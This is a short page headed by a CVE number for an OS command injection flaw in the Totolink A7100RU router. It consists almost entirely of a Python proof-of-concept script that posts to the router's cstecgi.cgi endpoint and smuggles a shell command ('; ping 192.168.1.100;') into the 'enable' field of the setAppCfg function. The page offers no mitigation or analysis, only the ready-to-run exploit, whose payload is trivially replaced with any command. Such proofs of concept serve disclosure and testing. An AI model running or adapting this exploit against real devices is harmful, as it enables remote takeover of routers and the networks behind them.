CVE-2026-6115 Totolink A7100RU操作系统命令注入漏洞

import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Vulnerable Payload: Injecting a command to ping a controlled server (change the IP) # The payload manipulates the 'enable' argument in the 'setAppCfg' function. # Using semicolon to chain commands. payload_data = { "topicurl": "setAppCfg", "enable": "; ping 192.168.1.100;" } try: # Sending the malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")